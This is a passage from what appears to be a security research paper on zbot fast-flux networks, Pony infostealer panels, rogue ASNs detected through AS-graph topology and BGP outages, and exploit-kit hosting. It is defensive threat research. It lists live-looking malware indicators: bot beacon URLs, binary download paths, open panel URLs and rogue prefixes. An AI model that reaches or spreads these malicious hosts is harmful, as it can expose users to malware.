/1/?uid=17428742&ver=1.14&mk=bb3b62&os=WinXP&rs=adm&c=1&rq=0 with several occurring OS versions: os=S2000 os=Win07 os=Win_V os=WinXP os=Win08 Getting binaries and configs azg.su, GET /coivze7aip/modules/bot.exe tundra-tennes.com, GET /infodata/soft32.dll tundra-tennes.com, GET /info-data/soft32.dll bee-pass.com, GET /info/soft32.dll quarante-ml.com, GET /nivoslider/jquery/ quarante-ml.com, GET /nivoslider98.45/ajax/ quarante-ml.com, GET /nivoslider98.45/jquery/ tundra-tennes.com, GET /nivoslider/ajax/ Pony panel hosted on zbot proxy network While investigating the zbot fast flux domains, we came across one that was hosting a panel for the Pony malware (botnet). As Figure 2 shows, the panel was hosted on the domain marmedladkos.com: 9 Figure 2. Pony panel on marmedladkos.com. Pony 1.9 was leaked in late 2012 to Trojan Forge. The malware is an infostealer identified by AV vendors as Win32/Fareit. It consists of a botnet controller via a panel, has features for user management, logging and statistics via a database. Figure 3. Pony features as advertised on Forums. 10 Figure 4. Detection of Pony by AV vendors as advertised in Forums. The Pony payload is commonly delivered via Exploit kit attacks or attachments in spam emails. In the table below, we show a few folders on the panel site and their functionality. It is notable that the character set cp1251 characteristic of Cyrillic scripts is used everywhere on the site and in config.php, the variable date_default_timezone_set is set to (‘Europe/Moscow’) which would be an indication about the origin country of the authors or users of the panel. Table 6. Folders on panel site and functionalities. Path on site Function p/Panel.zip controlling php scripts p/includes/design/images/modules/* images for each zeus plugin supported/tracked (Figure ww) p/includes/password_modules.php contains array with all software it tries to steal credentials for (Figure ee) p/includes/database.php contains db schema and accessors 11 Figure 5. Images for supported plugins. Figure 6. List of applications stored in the Panel db of which Pony steals the passwords. 12 Figure 7. db schema in database.php. Furthermore, we searched on Google for certain strings from the Pony panel website and we found several more sites with open panels with some sites hosting other malware payload. One Example of such site is shown in the figure below: Figure 8. Open panel with malware payload. The file DC.exe is an Andromeda malware sample as the below VT report shows: 13 Figure 9. VirusTotal’s detection results of the sample discovered on the panel site. In the table below, we show some of the open Pony panels we discovered from the initial one. These are not hosted on the zbot fast flux domains though. Table 7. Additional discovered panels. Open Panels epvpcash.net16.net/Panel/temp/ hgfhgfhgfhfg.net/pony/temp/ http://pantamati.com/dream/Panel/temp/ http://pantamati.com/wall/Panel/temp/ mastermetr.ru/steal/Panel/temp/ microsoft.blg.lt/q/temp/ santeol.su/p/temp/ terra-araucania.cl/pooo/temp/ thinswares.com/panel/temp/ www.broomeron.com/pn2/temp/ www.kimclo.com/cli/temp/ www.sumdfase2.net/adm/temp/ www.tripplem2.com/images/money/temp/ 14 Top Level Domain distribution of the zbot fast flux domains In the Figure below, we show the TLD distribution of a 900+ sample of zbot fast flux CnC domains. It is clear that .su and .ru are the most abused ccTLDs followed by the generic .com, .net. Figure 10. TLD distribution of zbot fast flux CnC domains. 15 Proxy network country distribution We take a sample of 170,000+ IPs of the zbot proxy network and show in the figures below the top hosting countries. We see a high presence of infected machines acting as hosting bots in Russia, Ukraine and Turkey. Figure 11. Top hosting countries of zbot proxy network IPs. Figure 12. Country distribution of zbot proxy network IPs on world map. 16 Country distribution of clients beaconing to CnCs We collected the client IPs that looked up the fast flux CnC domains for a period of 24 hours. The figure below shows the country distribution. A high volume of lookups comes from the US, which can be caused by targeted US victims. Figure 13. Top countries of client IPs looking up zbot fast flux domains for 24 hours. Figure 14. Country distribution of client IPs looking up zbot fast flux domains. 17 CnC domains and related malware samples We took a sample of 337 fast flux domains hosted on the zbot proxy network and identified 208 different samples (unique sha256) that have communicated with the CnCs. The notable top observed samples communicating with the CnC domains are: Trojan[Spy]/Win32.Zbot TrojanDownloader:Win32/Upatre Notice that Upatre has served as a downloader for Zeus GameOver and has been recorded as being sent as attachment in spam emails delivered by the Cutwail botnet. Part 2: Catching Malware IP-style Classical reputation systems used for network-level threat detection assign scores to IPs, BGP prefixes and ASNs based on counting the volume of hosted malicious domains or IPs. In this study, our goal is to assess malicious IP ranges in certain ASNs from a new perspective. We look beyond the simple counting of the number of bad domains and IPs hosted on prefixes of an ASN, by exploring the topology of the AS graph, and looking at a smaller granularity than the BGP prefix (sub-allocated ranges within BGP prefixes). We will also present a unique approach for finding similar prefixes and autonomous systems that are related to the network hosting malicious software. This will help identify more networks and hosts that are already high risk or will be in the near future. Previous research has been conducted on exploring malicious ASNs. For example, in [5], B. Stone-Gross et al. assign scores to rogue ASNs based on the amount of events involving hosts engaged in phishing, spamming, hosting drive-by download malware, or botnet traffic. In [6] and [7], the authors use visualization to track security incidents and malware events drawn from blacklist databases, and [8] explores ASNs providing transit for malware ASNs. ASN GRAPH An Autonomous System Number (ASN) identifies every globally routable network on the Internet. An Autonomous System (AS) represents a collection of IPv4 and IPv6 network prefixes administered by the same entity and sharing a common routing policy. In practice, an AS announces the prefixes under its authority or on behalf of their customers to its upstream providers and peer ASNs. The routers that receive these updates will use them to update their routing tables, which are used to make routing decisions. Depending on their policy will propagate the announcement to their peers and providers. The BGP table is the accumulation of all announced prefixes with their reachability information (AS paths). An AS path is a sequence of ASNs through which an announced prefix can be reached [9]. The BGP table is not only important for packet forwarding and loop detection on every Internet router, it is also very useful to study the evolution of the Internet from a topology and security threat perspective. For that, we need to build an AS graph which represents the interconnections between peering ASNs. In this study, we built an AS graph using publicly available data sources. Our primary source is the RouteViews data from University of Oregon [10], which provides a global BGP data by collecting BGP, updates and dumps from hundreds of Autonomous Systems worldwide. For our measurements we augmented our dataset with BGP data from all the routers we operate in the OpenDNS global network of 23 data centers. 18 Figure 15. RouteViews website. Other valuable data sources that are useful for studying the IP, BGP prefix and ASN landscapes are the CIDR report [11] and Hurricane Electric Internet Services website [12]. BUILDING THE ASN GRAPH The BGP data is collected in MRT format as described in rfc6396. An example MRT entry in text format looks like this: TABLE_DUMP2|1392422403|B|96.4.0.55|11686|67.215.94.0/24|11686 4436 2914 36692|IGP|96.4.0.55|0|0||NAG|| We mark the fields that are of interest to us in red. In this entry, 67.215.94.0/24 is an example network prefix, and 11686 4436 2914 36692 is the associated AS path. The ASN that appears at the end of the AS is the origin ASN of the prefix. In this case AS 36692 is originating the prefix, the origin AS is typically the owner of the prefix or announcing it on behalf of their customer. The AS path reveals how the most right AS reaches the prefix announced by the most left, the origin, AS. In this example it shows that AS 11686 relies on AS 4436, who then relies on 2914 to reach 36692. Not only does the AS path reveal useful topology information, it can also be used to determine business relationship between each of the ASNs. For example in this case it’s likely that 36692 (OpenDNS) is a customer of 2914 (NTT America). As described above, we will use the AS path data to build a directed graph, where an ASN is denoted by a node and there is a directed edge between an ASN and every one of its upstream ASNs. For example, in the BGP table entry above, 36692 is the origin ASN for 67.215.94.0/24, and 2914 is an upstream ASN of 36692 (the last ASN before reaching the origin ASN when packets are traveling towards an IP in the origin ASN), therefore that entry can be graphically represented as follows: 19 Figure 16. Graph representation of an entry of the BGP table. An alternative method to build the AS graph is to use the entire AS path on every prefix entry of the BGP table. In this case, from the example above, we can build the following edges in the graph: 36692->2914, 2914->4436, 4436- >11686. The AS graph is built by parsing the BGP table line by line. Since many ASNs announce more than one prefix and we have data from hundreds of viewpoints on the Internet, this provides us with hundreds of paths to a single Origin AS. By assigning weights to each edge we can predict the usage of edge. In the directed AS graph, an AS node can have incoming and/or outgoing edges. The outgoing edges point to upstream ASNs and incoming edges originate from downstream ASNs. Below, we define a few terms describing the AS graph nodes from a directed graph topological perspective [13]. A source ASN is an ASN that has only outgoing edges and no incoming edges, i.e. the ASN has only upstream ASNs that it relies upon for connectivity and for propagating its prefix announcements. A leaf ASN is a special case where an ASN has a single outgoing edge and no incoming edge. This is often described as “stub” ASN in the BGP routing terminology. We define a set of ASNs that are source ASNs (or leaves) and who share the same parent(s) (upstream ASNs) as sibling ASNs. For clarity, we will use the more intuitive term “peripheral” ASNs to denote source ASNs for the remainder of this paper. The BGP table/ASN graph is a dynamic entity and always changing as new prefixes are announced, old prefixes are withdrawn, new ASNs are introduced and start advertising prefixes, while others cease to exist and withdraw all their prefixes. Most common changes are probably new AS relations, new peers or previously unseen relations. This dynamic state can be the result of multiple factors: intentional technical and business decisions, human errors, hardware faults, route hijacking, etc. By parsing the entries of the BGP table, we can extract two types of useful data: the upstream and downstream ASNs of every ASN, and IP to ASN maps (via prefix to ASN mapping). For this, we can load the prefix and the origin ASN data into a radix tree. With the radix tree, (given an IP as input) we can quickly find the best matching prefix, and consequently, matching ASN. Alternatives are to use services like BGPmon.net (e.g whois -h whois.bgpmon.net 8.8.8.8), Team Cymru IP to ASN mapping [14], GeoIPASNum.dat from maxmind [15], or http://ipinfo.io/ (e.g. curl ipinfo.io/8.8.8.8/org returns the AS number and AS name of Google Inc.). In this study, we discuss interesting patterns in the AS graph topology – typically, suspicious peripheral ASNs that are siblings, i.e., they share common parents (upstream ASNs) in the AS graph. By clustering peripheral nodes in the AS graph by country, we found that certain peripheral sibling ASNs in a few countries have been delivering similar suspicious campaigns. 20 USE CASE 1: SUSPICIOUS SIBLING PERIPHERAL ASNs During manual investigations of suspicious domains and IPs that we detected in our traffic, we observed several cases of sibling peripheral ASNs that are hosting similar malware payloads. In this section, we will describe one such use case. Figure 17. Malicious ASN subgraph. In the Figure above, we show the snapshot of a suspicious ASN subgraph taken on January 8th, 2014, consisting of 10 sibling peripheral ASNs (57604, 8287, 50896, 49236, 29004, 45020, 44093, 48949, 49720, 50818) sharing 2 upstream ASNs (48361 and 31500). We color the ASNs that were hosting malicious payloads in red. The malicious payload is identified by some AVs as Trojan-Downloader.Win32.Ldmon.A [16][17] and described as a Trickler [18]. Notice that most of these peripheral ASNs are small scale with one single prefix as Table 5 shows: Table 8. Sibling peripheral ASNs prefixes. ASN No of prefixes Prefixes 57604 1 91.233.89.0/24 8287 3 91.213.72.0/24 91.213.93.0/24 91.217.162.0/24 50896 5 195.78.108.0/23 91.198.127.0/24 91.200.164.0/22 91.201.124.0/22 91.216.3.0/24 49236 1 62.122.72.0/23 29004 1 195.39.252.0/23 45020 1 194.29.185.0/24 44093 1 193.243.166.0/24 48949 1 95.215.140.0/22 49720 1 194.242.2.0/23 50818 1 194.126.251.0/24 21 Figure 18. Malicious ASN subgraph after it evolved 6 weeks later. In Figure 18, we show the same subgraph 6 weeks later, on February 21st. Notice the change in subgraph topology: more leaves started hosting the same suspicious payloads (via new resolving domains or directly on the IPs). Additionally, AS31500 detached itself from the leaves by ceasing to forward their prefix announcements. We observed that a large pool of contiguous IPs in /23 or /24 prefixes of these ASNs were hosting the same aforementioned type of payload. In most cases, the payload URLs were live on the entire range of IPs before any domains were hosted on them. Furthermore, the IPs were set up with the same server infrastructure. For instance, we took a random sample of 160 live IPs in this subgraph. In this sample, 50 IPs had a similar nmap fingerprint: 22/tcp open ssh OpenSSH 6.2_hpn13v11 (FreeBSD 20130515; protocol 2.0) 8080/tcp open http-proxy 3Proxy http proxy Service Info: OS: FreeBSD and 108 IPs shared the following fingerprint: 22/tcp open ssh OpenSSH 5.3 (protocol 1.99) 80/tcp open http? In total, this subgraph featured 3100+ malware domains on 1020+ malware hosting IPs, and it is clear this IP infrastructure across multiple ASNs was set up in bulk and in advance to deliver the same rogue campaign [17]. USE CASE 2: Detecting sibling Autonomous systems by looking at BGP outages In the previous section we described sibling autonomous systems are one ore more Autonomous systems that are under control by the same organization and possibly share the same infrastructure. One way to find these sibling Autonomous systems is to look at the upstream relations as typically all siblings share the same upstream provider(s). The problem with this approach is that it will not always work as expected. For example some of the larger service providers such as Level3, NTT, GTT, etc., have many customers located throughout the world so by looking only at the common upstream providers won’t provide us with enough granular information to correctly determine siblings. Since the sibling networks we are interested in are those that are under the control of one entity and often colocate in the same facilities and could even share hardware, we could at least search for risk sharing properties. The next section describes a new novel approach of detecting sibling ASNs with a high degree of certainty. 22 Using BGP outages to detect sibling Autonomous systems. BGP, the routing protocol used on the Internet, uses primarily two types of message to advertise network reachability information: update messages to announce a new path for one or more prefixes, and withdrawal messages to inform BGP speakers that a certain prefix can no longer be reached. When looking for BGP withdrawal messages, and the frequency of these withdrawals for a certain prefix, we can detect global outages for the prefix. For example, when a large number of BGP speakers see a BGP withdrawal message for 208.67.222.0/24 we can assume that the prefix is no longer reachable, which means there would be an outage and the hosts in this network would be unreachable. The next step is to look for new BGP update messages that provide a new path for 208.67.222.0/24, indicating the prefix is reachable again. With this data, we know exactly how long a prefix was unreachable. For this research project, our hypothesis was that sibling autonomous systems are very closely related and often share the same servers, hardware, collocation facilities and Internet service providers. To test this hypothesis we look at the outage pattern for Autonomous System, and find Autonomous Systems that have the exact same outage pattern, i.e. the exact same outage start and stop time for one or more of prefixes in that AS. To test this hypothesis we partnered with BGPmon.net, a BGP monitoring service. Using their BGP outage detection system and the historical outage data collected over the last few years, we compared outages for different Autonomous systems and tested our hypothesis. This approach is unique as it provides more granular insight into the relationships between Autonomous systems as compared to looking at just peering relationships. This approach results in a set of Autonomous systems that share, with a high degree of certainty, shared risk–which means they are likely located in close proximity of each other. The same could in theory be achieved by active ping or traceroute measurements, however in practice it’s impossible to scale this to every possible network (500,000 prefixes) with the same amount of time granularity. So by leveraging the routing control protocol for the Internet, we can scale this much more effectively and operate in stealth mode for both IPv4 and Ipv6. Illustrative Example Using the method described above we start searching for prefixes and their corresponding autonomous systems with similar outages. We looked at outages where the start and end time of the outage was the same as the outage for AS we provided as input. As a second heuristic, we only looked at Autonomous systems that had 3 or more similar outages. Just as the example in the previous sections, we will focus on the potential siblings for the following Autonomous systems: 57604, 8287, 50896, 49236, 29004, 45020, 44093, 48949, 49720, and 50818. We looked at the outage data between June 1st, 2013 and June 1st, 2014. In this example we will focus on AS57604 (PE Ivanova Yuliya Geraldovna), which as can be seen in Figure 18, receives transit exclusively from 48361 and has a number of sibling Autonomous Systems. We’ll look at one of the siblings, AS29004 and compare the outages detected for both siblings as well as the upstream provider AS48361. The table below compares a subset of the outages for the three networks between June 1st, 2013 and October 1st, 2013. The outage table shows there are eighteen unique events where AS57604 became unreachable for at least 60 seconds. Its sibling AS29004 has the exact same outage pattern. The upstream network for both of these networks, AS48361, had only one outage on August 31st - this outage also affected both of the downstream networks. 23 Table 9. List of outages. ISP 48361 AS57604 91.233.89.0/24 AS29004 195.39.252.0/23 no outage down for 35 minutes 2013-07-12 18:53 - 2013-07-12 19:28 down for 36 minutes 2013-07-12 18:53 - 2013-07-12 19:29 no outage down for 497 minutes 2013-07-12 21:33 - 2013-07-13 05:50 down for 497 minutes 2013-07-12 21:33 - 2013-07-13 05:50 no outage down for 479 minutes 2013-07-22 21:57 - 2013-07-23 05:56 down for 479 minutes 2013-07-22 21:57 - 2013-07-23 05:56 no outage down for 33 minutes 2013-07-23 18:51 - 2013-07-23 19:24 down for 33 minutes 2013-07-23 18:51 - 2013-07-23 19:24 no outage down for 63 minutes 2013-07-29 04:54 - 2013-07-29 05:57 down for 63 minutes 2013-07-29 04:54 - 2013-07-29 05:57 no outage down for 155 minutes 2013-07-31 22:37 - 2013-08-01 01:12 down for 155 minutes 2013-07-31 22:37 - 2013-08-01 01:12 no outage down for 6 minutes 2013-08-01 03:00 - 2013-08-01 03:06 down for 6 minutes 2013-08-01 03:00 - 2013-08-01 03:06 no outage down for 7 minutes 2013-08-05 18:51 - 2013-08-05 18:58 own for 7 minutes 2013-08-05 18:51 - 2013-08-05 18:58 no outage down for 8 minutes 2013-08-09 21:01 - 2013-08-09 21:09 down for 8 minutes 2013-08-09 21:01 - 2013-08-09 21:09 no outage down for 13 minutes 2013-08-12 08:05 - 2013-08-12 08:18 down for 13 minutes 2013-08-12 08:05 - 2013-08-12 08:18 no outage down for 237 minutes 2013-08-15 10:15 - 2013-08-15 14:12 down for 237 minutes 2013-08-15 10:15 - 2013-08-15 14:12 no outage down for 520 minutes 2013-08-19 21:26 - 2013-08-20 06:06 down for 520 minutes 2013-08-19 21:26 - 2013-08-20 06:06 down for 11 minutes 2013-08- 31 18:39 - 2013-08-31 18:50 down for 11 minutes 2013-08-31 18:39 - 2013-08-31 18:50 down for 11 minutes 2013-08-31 18:39 - 2013-08-31 18:50 no outage down for 11 minutes 2013-09-12 04:33 - 2013-09-12 04:44 down for 11 minutes 2013-09-12 04:33 - 2013-09-12 04:44 no outage down for 12 minutes 2013-09-12 10:33 - 2013-09-12 10:45 down for 12 minutes 2013-09-12 10:33 - 2013-09-12 10:45 no outage down for 86 minutes 2013-09-24 08:02 - 2013-09-24 09:28 down for 86 minutes 2013-09-24 08:02 - 2013-09-24 09:28 no outage down for 46 minutes 2013-09-26 12:36 - 2013-09-26 13:22 down for 46 minutes 2013-09-26 12:36 - 2013-09-26 13:22 no outage down for 46 minutes 2013-09-28 16:19 - 2013-09-28 17:05 down for 46 minutes 2013-09-28 16:19 - 2013-09-28 17:05 The fact that there are so many overlapping outages between AS57604 and AS29004 is unique and further proves there is a close relationship between these two sibling autonomous systems listed earlier. The table below lists all overlapping outages between each of the sibling autonomous systems as well as the upstream provider AS48361. 24 Table 10. Overlapping outages between sibling ASNs. 57604 8287 50896 49236 29004 45020 44093 48949 49720 50818 48361 57604 x 20 17 12 22 16 11 24 20 13 5 8287 20 x 41 15 17 17 15 18 18 15 5 50896 17 41 x 17 16 17 18 19 16 18 7 49236 12 15 17 x 8 15 13 8 12 17 3 29004 22 17 16 8 x 12 22 28 18 9 6 45020 16 17 17 15 12 x 12 12 12 15 4 44093 11 15 18 13 22 12 x 16 10 13 6 48949 24 18 19 8 28 12 16 x 20 9 8 49720 20 18 16 12 18 12 10 20 x 10 4 50818 13 15 18 17 9 15 13 9 10 x 4 48361 5 5 7 3 6 4 6 8 4 4 x Looking at the results in the table above it is clear that there is a high degree of duplicate outages between all sibling Autonomous Systems and to some degree between the sibling Networks hosting the malware and the upstream AS48361. When correlating the outage results with the earlier results in use case 1, we can see that there is indeed a strong relationship between all of the sibling Autonomous systems we found earlier. Not only do we now know they share a common upstream provider, we also know that there is a high degree of risk sharing between the networks. It is to be expected that when an outage affects the upstream ASN, one or more of the downstream networks will be affected as well, especially if the downstream provider is single-homed and relies solely on this upstream provider for network connectivity. However in our data there are many cases where there is no outage for the upstream provider, while there are sometimes hour-long outages for the downstream networks of which the timelines overlap exactly up to the minute. The conclusions we can draw from this are that the set of autonomous systems we looked at most likely rely on the same infrastructure for connectivity. Normally an outage by a service provider may cause an outage for some customers, but typically only for those in a specific geographic location. The fact that there is so much correlation between the Autonomous systems we looked at is a strong indicator that they could be operated by the same organization, are in the same physical location, and could even share a joint routing infrastructure. So even though typically each Autonomous systems has its own infrastructure in terms of routing, switching and compute, our data indicates there are strong indicators that these autonomous systems could well be operated by the same organization or even run on the same hardware. 25 USE CASE 3: ROGUE ASN DE-PEERED OR GONE STEALTH In this section, we discuss one case among many we observed of rogue peripheral ASNs that serve various malware content. In this example, it is AS48031, XSERVER-IP-NETWORK-AS PE Ivanov Vitaliy Sergeevich 86400 that had a single upstream provider AS15626. AS48031 has been hosting browser-based ransomware, porn sites, spam, and radical forums. Figure 19. Browlock web page. Browser-based ransomware or “browlock” is a rudimentary ransomware that consists of an HTML page that loads when the user visits the browlock domain. It locks the browser screen (through HTML or JavaScript code) and demands payment, supposedly for either possession of illegal material or usage of illegal software [19]. This is more of a scam than real ransomware (which corrupts or encrypts user’s data), because the browlock alert can be neutralized by simply killing the browser task. Despite its simplicity, browlock has been around for a few years targeting several countries, and seems to be generating profit for the criminals. Browlock has been delivered by dedicated (domains specifically registered for malicious intent) as well as compromised domains. Table 11. Prefixes announced by AS48031 in Fall 2013. Prefixes 176.103.48.0/20 193.169.86.0/23 193.203.48.0/22 193.30.244.0/22 194.15.112.0/22 196.47.100.0/24 91.207.60.0/23 91.213.8.0/24 91.217.90.0/23 91.226.212.0/23 91.228.68.0/22 93.170.48.0/22 94.154.112.0/20 26 In Table 8., we show the prefixes announced by AS48031 in the fall of 2013. A few months later, in January 2014, AS48031 stopped advertising prefixes and disappeared from the global routing table as Figure 20 shows. Figure 20. AS48031 disappears off the global BGP routing table. However, those prefixes did not actually disappear, and AS48031’s only parent in the AS graph, its upstream peer AS15626, took over announcing them as Figure 21 shows. The rogue IPs in those prefixes continued to host malware content. The question remains whether AS15626 had been abused by its downstream client AS48031 to host malware, and if it acted responsibly by ceasing to announce those prefixes when it took notice of the malicious content on AS48031 prefixes, or if both AS48031 and AS15626 are complicit in hosting malware, and AS15626 is simply being evasive by hiding AS48031 from the global routing table and yet keeping connectivity to the rogue IPs by announcing their prefixes. There are several such suspicious cases occurring on the BGP routing space. 27 Figure 21. Former prefixes of AS48031 now announced by upstream AS15626. USE CASE 4: MALICIOUS SUB-ALLOCATED RANGES In this section, we summarize a study we conducted for 5 months between Oct 2013 and Feb 2014 that consisted of monitoring rogue sub-allocated ranges on OVH [20] IP space, where these ranges are reserved by recurring suspicious customers and used to serve Nuclear Exploit kit domains. In this type of infection, visitors are lead to the Exploit landing sites through malvertising campaigns, and then malware is dropped on victims’ machines (e.g. zbot). Results of the study were published in [21]. For several months, OVH IP ranges had been abused. Notably, the IPs were exclusively used for hosting Nuclear Exploit subdomains, with no other sites sharing the IPs. These IPs were reserved in small ranges from OVH Canada and set up with identical services (nmap fingerprint). Consulting ARIN’s referral whois database showed the reserved ranges and customer IDs. As an evasive measure, on Feb 7th, the bad actors moved to besthosting.ua, a Ukrainian hosting provider. RIPE’s whois service, which covers European IP space, does not always give details on reserved ranges and customers, but the Ukrainian IPs in this case were still set up with identical services. Therefore, we flagged them as prone to serve the same Nuclear campaign. On Feb 14th, the actors moved to a Russian provider, pinspb.ru, with a similar bulk IP range setup. On Feb 22nd, they moved back to OVH, notably changing their MO: the IPs being used have been allocated and used in the past for other content. This could be an evasion technique or resource recycling. However, although bad actors have migrated between hosting providers to host the Nuclear Exploit serving domains, they still kept the name server’s infrastructure (authoritative for the Nuclear domains) on ranges reserved on OVH by the same customers, which still allows us to track them. Thanks to the great collaboration with the non-profit security research group MalwareMustDie, a large number of Nuclear Exploit domains active at the time have been taken down [22]. 28 Subsequently, bad actors have been circulating between OVH and other hosting providers. Lately, compromised domains, especially GoDaddy domains, are being used to host Nuclear and Angler Exploit kit domains (as we will cover in Section 5). USE CASE 5: PREDICTING MALICIOUS DOMAINS IP INFRASTRUCTURE As part of the study described in the previous section, we have been monitoring IP ranges reserved on OVH Canada by the suspicious customer(s) who reserved the ranges hosting Nuclear EK domains. Table 3 shows the number of reserved ranges, the total number of IPs they represent and the number of IPs effectively used for malicious purposes during the months of December 2013, January, February and early March 2014. These IPs were used to host Nuclear Exploit kit domains, Nuclear domains’ name servers, and browlock domains. Table 12. IP ranges reserved by suspicious customers. Reservation dates No ranges No IPs No IPs used Dec 1st to 31st 2013 28 136 86 Jan 1st to 31st 2014 11 80 33 Feb 1st to 28th 2014 4 28 26 Mar 1st to 20th 2014 Mar 7th Mar 10th 43 40 3 364 352 12 215 208 7 Looking at the prefixes to which these malicious reserved sub-ranges belong, we notice that all 86 ranges described in Table 9 are concentrated in 4 large OVH prefixes as Table 10 shows. Table 13. BGP prefixes of the rogue reserved ranges. Nb IPs BGP prefix 388 198.50.128.0/17 128 192.95.0.0/18 80 198.27.64.0/18 12 142.4.192.0/19 We used two investigative techniques to track rogue IP ranges: the first one is to monitor sub-allocated ranges reserved by suspicious customers. The second technique is to monitor the IP’s service fingerprints. Below, we review a few examples of the IP ranges used to host Nuclear Exploit domains [21]: 1) For the IPs hosted on besthosting.ua, the live IPs in the range 31.41.221.131 to 31.41.221.143 all have the same server setup (nmap fingerprint) 22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze4 (protocol 2.0) 80/tcp open http nginx web server 0.7.67 111/tcp open rpcbind 29 2) For the IPs hosted on pinspb.ru, the IPs in the range 5.101.173.1 to 5.101.173.10 have the following fingerprint: 22/tcp open ssh OpenSSH 6.0p1 Debian 4 (protocol 2.0) 80/tcp open http nginx web server 1.2.1 111/tcp open rpcbind 3) For the IPs hosted on OVH, the IPs in the range 198.50.143.64 to 198.50.143.79 have the following fingerprint: 22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze4 (protocol 2.0) 80/tcp open http nginx web server 0.7.67 445/tcp filtered microsoft-ds The IPs used to host the name servers also had the same fingerprints [21]. Notice that initially the malware IPs in a given range used to become active in bulk and sequential order, but later as an evasion method, the bad actors started bringing them up at random, one by one or a few at a time, right when they are about to deliver the Exploit kit attack. The combination of the two investigative techniques made it possible to predict the next attack IPs with practically no false positives. As hosting providers become more aggressive in suspending rogue customers’ accounts and swifter in taking down malware IPs, and as bad actors choose hosting providers on IP space where RIRs’ whois service does not always provide full information about reserved ranges and customers (e.g RIPE), the first technique might not always work. The second technique of fingerprint tracking, however, still provides accurate results when combined with other intelligence. USE CASE 6: DETECTING MALICIOUS SUBDOMAINS UNDER COMPROMISED DOMAINS In this section, we discuss the results of a 5-month study we conducted between February and June 2014 that followed the study of Section 3. For this project, we designed a system to preemptively detect malicious subdomains injected under compromised domains (particularly GoDaddy domains) and track their IP infrastructure. The phenomena of compromised GoDaddy domains serving malware has been around for at least 2 years [23]. The compromise can happen through at least two methods: hacking GoDaddy accounts or injecting malicious redirection scripts into vulnerable GoDaddy websites. When the compromise is successful, subdomains (third level domains) are injected under the GoDaddy domains (second level domains), and these subdomains resolve to malicious sites. Most abused ASNs By monitoring this threat from February to the present day, we observed that the subdomains resolve to IPs serving Exploit kit attacks (typically Nuclear [24][25] and Angler [26][27]), and also browser-based ransomware. We recorded several hundred IPs hosting these malicious subdomains over the period of the study. We see that the top 5 abused ASNs are: ● 16276 OVH SAS ● 24961 myLoc managed IT AG ● 15003 Nobis Technology Group, LLC ● 41853 LLC NTCOM ● 20473 Choopa, LLC AS16276, which is OVH, hosted 18% of the total malicious IPs. In this specific case, as the abuse of OVH has been exposed through February 2014 (particularly for hosting Nuclear Exploit domains [21]), bad actors have changed their MO: they switched temporarily to other hosting providers, and started using recycled IPs (not reserved exclusively for Exploit domains). Additionally, OVH took action by suspending rogue accounts. However, by monitoring the compromised domains’ campaigns, we observed that OVH was still being abused by bad actors to host malicious content. These were the general changes in bad actors’ MO that we observed: 30 ● From a domain perspective, for a while, bad actors had been abusing various ccTLDs (e.g. .pw, .in.net, .ru, etc.) facilitated by rogue or victim registrars and resellers. Then, they supplemented that approach with using compromised domains, particularly GoDaddy domains under which they inject subdomains to host Exploit kit landing urls and browlock (Notice that using compromised domains for attacks goes further back in the past for other different campaigns). ● From an IP perspective, bad actors used to bring the attack hosting IPs online in contiguous chunks, then they started bringing them up in randomized sets or one IP at a time. ● The other notable fact is that bad actors used to abuse OVH Canada (attached to ARIN) where rogue customers were reserving re-assigned small ranges (/27, /28, /29, etc.). By consulting the ARIN Rwhois database, it was possible to correlate the rogue customers with the IP ranges they reserve and therefore predict and block the IP infrastructures they set up for Exploit kit attacks. As the adversaries changed MO, this method became less effective in tracking them. ● The shift became clear when they started to more frequently use ranges on OVH’s European IP space (which is attached to RIPE) as well as other European providers. Typically, we saw small gaming hosting providers being abused among other platforms. Additionally, although the standard geolocation of OVH European IP space maps to France (FR), the attack IP ranges were reserved from OVH's server pools in various European countries (France, Belgium, Italy, UK, Ireland, Spain, Portugal, Germany, Netherlands, Finland, Czech Republic, and Russia). This clearly shows that the adversaries are diversifying their hosting assets, which provides them redundancy and evasive capabilities. Notice also that RIPE has stricter data protection laws so it would be more difficult to obtain information about customers, and that could explain the shift in hosting infrastructures by the bad actors. More generally, we list a few of the small-scale hosting providers involved in hosting the attack subdomains. These hosting providers could either be abused, complicit with the bad actors, or simply lax about the maliciousness of the content they host. Notice the rogue providers among these will often switch prefixes by dropping dirty ones and reserving new ones from the backbone providers they are attached to. ● http://king-servers.com/en/ This hoster has been observed to host Exploit kit domains (Angler, Styx), porn, dating sites, pharma sites [28][29]. It was also described by a comment on Web Of Trust as “Offers bulletproof hosting for Russian-Ukrainian criminals (malware distributors, etc.)” [30]. Figure 22. King-servers main website. 31 ● http://evrohoster.ru/en/ hosted browlock through redirections from porn sites [31]. ● http://www.xlhost.com/ hosted Angler EK domains [32] ● https://www.ubiquityhosting.com/ hosted browlock. ● http://www.qhoster.bg/ hosted Nuclear EK domains. Figure 23. Qhoster.bg main website. ● http://www.codero.com/ ● http://www.electrickitten.com/web-hosting/ 32 Figure 24. electrickitten.com main website. ● http://hostink.ru/ String Analysis of Domain Names During this study, we recorded 19,000+ malicious subdomains injected under 4200+ compromised GoDaddy 2LDs. By analyzing the strings used for the subdomains, we recorded 12,000+ different labels. We show the list of top 5 labels used; police, alertpolice, css, windowsmoviemaker, solidfileslzsr. police and alertpolice were the most common labels for hostnames serving browlock. The remaining labels were used for hostnames serving mainly Exploit kit attacks. In the Figure below, we show the frequency of number of occurrences for all used labels. 33 Figure 25. Frequency of number of occurrences of subdomains labels. One label occurred 746 times (police), 1 label occurred 22 times (alertpolice), 1 label occurred 10 times (css), 15 labels occurred 6 times (windowsmoviemaker, solidfileslzsr are among them), and 11,727 distinct labels occurred a single time. Part 3: 3D Visualization Engine When it comes to graph visualization, there are multiple approaches to the problem however the main purpose of the engine is to analyze the topology of our knowledge base, therefore we need to orientate toward visualization techniques that will let the data drive the layout and not the opposite. For that very special kind of visuals, the state- of-the art generally revolves around force-directed layouts [33]. The general concept is fairly simple : A force system is created using the entities of the dataset. The system is then simulated inside a physics engine for a certain number of iterations and the result is an multi-dimensional arrangement (usually 2D or 3D) completely defined by the shape of the relational structure therefore highlighting hidden clusters or topological patterns that may have gone completely invisible before then. The Fruchterman and Reingold algorithm Discovered in 1991, the Fruchterman and Reingold layout is one of the classic force-directed layouts. The main idea is to treat vertices in the graph as "atomic particles or celestial bodies, extering attractive and repulsive forces from one another". The force system operates as described in the diagram below : 34 Figure 26. Force-directed system. Without entering into too many technical details about the math supporting the model, the principle is elementary : Connected nodes attract each other and non-connected nodes repulse each other. The attractive force fa(d) and 